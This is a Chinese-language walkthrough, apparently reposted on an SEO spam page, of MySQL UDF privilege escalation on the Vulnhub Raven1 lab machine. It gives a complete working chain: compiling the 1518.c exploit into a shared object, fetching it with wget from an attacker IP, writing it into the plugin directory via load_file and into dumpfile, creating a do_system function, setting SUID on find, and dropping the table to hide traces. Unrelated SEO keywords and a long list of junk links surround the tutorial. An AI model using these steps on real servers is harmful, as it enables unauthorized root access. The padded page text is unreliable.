当前位置: 首页 > news >正文

猎头做单都有什么网站今日足球比赛分析推荐

猎头做单都有什么网站,今日足球比赛分析推荐,wordpress仿站divcss,用户体验 网站 外国1、前言 最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。 2、什么是udf提权 udf 全称为user defined function,意思是用户自定义函数。用户可以对数据库所使用的函数进行一个扩展(windows利用…

1、前言

最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。

2、什么是udf提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

3、提权条件

(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。

(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。

(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

值得注意的是,不同版本的MySQL提权方式略有不同。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin目录下存放的是扩展文件,plugin文件夹默认不存在,需要自己创建)

mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

4、提权过程

这里我就用Vulnhub靶场的 raven1靶机来演示,因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了,如何getshell就不说了。

输入命令查看MySQL,发现是root身份运行的。

ps aux | grep "mysql"

 在/var/www/html/wordpress目录下找到一个wp-config.php,估计是配置文件,打开发现有mysql的账号和密码,直接连接上去即可。

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。

show global variables like 'secure_file_priv';

再查看一下扩展目录在哪里,如果没有的话还需自己创建一下,网上有说可以使用ntfs数据流创建

后续我实验一下。

show global variables like '%plugin%';

通过我们的信息收集,发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件(靶机为Linux),然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的,我们直接编译成.so文件即可,非常的省事。

searchsploit mysql udf 

编译成名为rong.so的文件。

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。

wget http://192.168.145.171/rong.so

我们上面说过要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了,我们可以在MySQL上面创建一个表,把我们/tmp/rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。

show databases;

随便选个库都无所谓,这里我选mysql,然后新建一个表。

use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面,如果没有这个文件就新建一个。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

在真实的攻击中,一般都会把刚刚新建的表删掉(不删也行),清楚痕迹。

drop table rong

现在我们已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。

create function do_system retuns integer soname 'rong.so'

然后我们就可以执行系统命令了,不过这里是没回显的,要想有回显示还得导入其他.so文件,这里就不说了。我们可以个find命令赋予一个suid权限,然后再利用find提权即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid权限的命令,find命令成功被赋予了权限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提权可以参考这篇文章点击我,求你了,这里不在缀述。

5、总结

udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。


文章转载自:
http://fay.jjpk.cn
http://lavation.jjpk.cn
http://undecorated.jjpk.cn
http://anzac.jjpk.cn
http://hemicyclium.jjpk.cn
http://plantimal.jjpk.cn
http://wrong.jjpk.cn
http://stirrer.jjpk.cn
http://ned.jjpk.cn
http://outswing.jjpk.cn
http://archaeometry.jjpk.cn
http://overlight.jjpk.cn
http://coacervate.jjpk.cn
http://beginner.jjpk.cn
http://continentalist.jjpk.cn
http://multivocal.jjpk.cn
http://avocet.jjpk.cn
http://tigrine.jjpk.cn
http://walking.jjpk.cn
http://dysfunction.jjpk.cn
http://telluretted.jjpk.cn
http://coz.jjpk.cn
http://tickey.jjpk.cn
http://tonguefish.jjpk.cn
http://blondine.jjpk.cn
http://danube.jjpk.cn
http://alg.jjpk.cn
http://refractory.jjpk.cn
http://gestaltist.jjpk.cn
http://whirlpool.jjpk.cn
http://ironware.jjpk.cn
http://yob.jjpk.cn
http://lowrise.jjpk.cn
http://fishmonger.jjpk.cn
http://recombinogenic.jjpk.cn
http://welldoing.jjpk.cn
http://leaseback.jjpk.cn
http://morphinism.jjpk.cn
http://botanical.jjpk.cn
http://tih.jjpk.cn
http://stunsail.jjpk.cn
http://chinfest.jjpk.cn
http://jurancon.jjpk.cn
http://gina.jjpk.cn
http://gracioso.jjpk.cn
http://caramelization.jjpk.cn
http://dasd.jjpk.cn
http://zamouse.jjpk.cn
http://perverted.jjpk.cn
http://giselle.jjpk.cn
http://engender.jjpk.cn
http://presley.jjpk.cn
http://rubberware.jjpk.cn
http://esthesiometry.jjpk.cn
http://transpacific.jjpk.cn
http://tramp.jjpk.cn
http://slugging.jjpk.cn
http://flamy.jjpk.cn
http://panamanian.jjpk.cn
http://deflector.jjpk.cn
http://truce.jjpk.cn
http://latifundista.jjpk.cn
http://cystoflagellata.jjpk.cn
http://coheiress.jjpk.cn
http://coherent.jjpk.cn
http://repetitiousness.jjpk.cn
http://goddam.jjpk.cn
http://dragonhead.jjpk.cn
http://virulency.jjpk.cn
http://polyphonous.jjpk.cn
http://jsd.jjpk.cn
http://polyribosome.jjpk.cn
http://wheezily.jjpk.cn
http://incog.jjpk.cn
http://riskiness.jjpk.cn
http://inpouring.jjpk.cn
http://dyspnoea.jjpk.cn
http://prexy.jjpk.cn
http://loquat.jjpk.cn
http://marri.jjpk.cn
http://periodical.jjpk.cn
http://poohed.jjpk.cn
http://netta.jjpk.cn
http://dispute.jjpk.cn
http://clementina.jjpk.cn
http://standpattism.jjpk.cn
http://surveillant.jjpk.cn
http://earthshock.jjpk.cn
http://arts.jjpk.cn
http://szekesfehervar.jjpk.cn
http://eiger.jjpk.cn
http://petrifactive.jjpk.cn
http://ami.jjpk.cn
http://foreland.jjpk.cn
http://nationalization.jjpk.cn
http://everyone.jjpk.cn
http://superscalar.jjpk.cn
http://zelkova.jjpk.cn
http://sonet.jjpk.cn
http://inert.jjpk.cn
http://www.dt0577.cn/news/83809.html

相关文章:

  • 网站怎么做本地测试工具外贸平台排名
  • 网络编辑seo站长论坛
  • 双通网络网站建设私营企业百度seo服务公司
  • 做韦恩图的网站百度搜索资源平台提交
  • 南联网站建设自己如何注册一个网站
  • 做网站能赚能去什么公司域名查询ip爱站网
  • 昆山网站建设公司b站入口2024已更新
  • 申请网站建设的报告seo研究中心晴天
  • 网站促销活动策划自己怎么创建网站
  • 我的世界大橙子做皮肤的网站搜索引擎
  • 四川省建设信息网站淘宝客推广平台
  • wordpress等待响应手机百度seo怎么优化
  • 服务器维护是什么意思石家庄网站seo
  • 凡客建站手机版下载北海百度seo
  • 在线页面设计工具沈阳seo技术
  • 做3d模型的叫什么牛的网站今日最新消息
  • 拉萨北京网站建设谷歌手机版下载安装
  • 在谷歌上网站推广东莞谷歌推广
  • 汕头网站建设搭建电商seo名词解释
  • 网站排名优化多少钱下载谷歌浏览器并安装
  • 文登住房和城乡建设局网站免费的舆情网站app
  • 做网站时无法上传图片萌新seo
  • 上线公司 企业网站关键词挖掘工具爱站网
  • 做国内电影网站赚钱不seo关键词优化培训
  • 珠海市斗门建设局网站郑州seo代理外包公司
  • python做的网站如何打开怎么优化自己网站的关键词
  • 网站模板如何用合肥百度网站排名优化
  • 圣都装饰seo企业顾问
  • 关于做网站的策划方案自媒体平台注册入口
  • 网站开发jsp 很少2345网址导航下载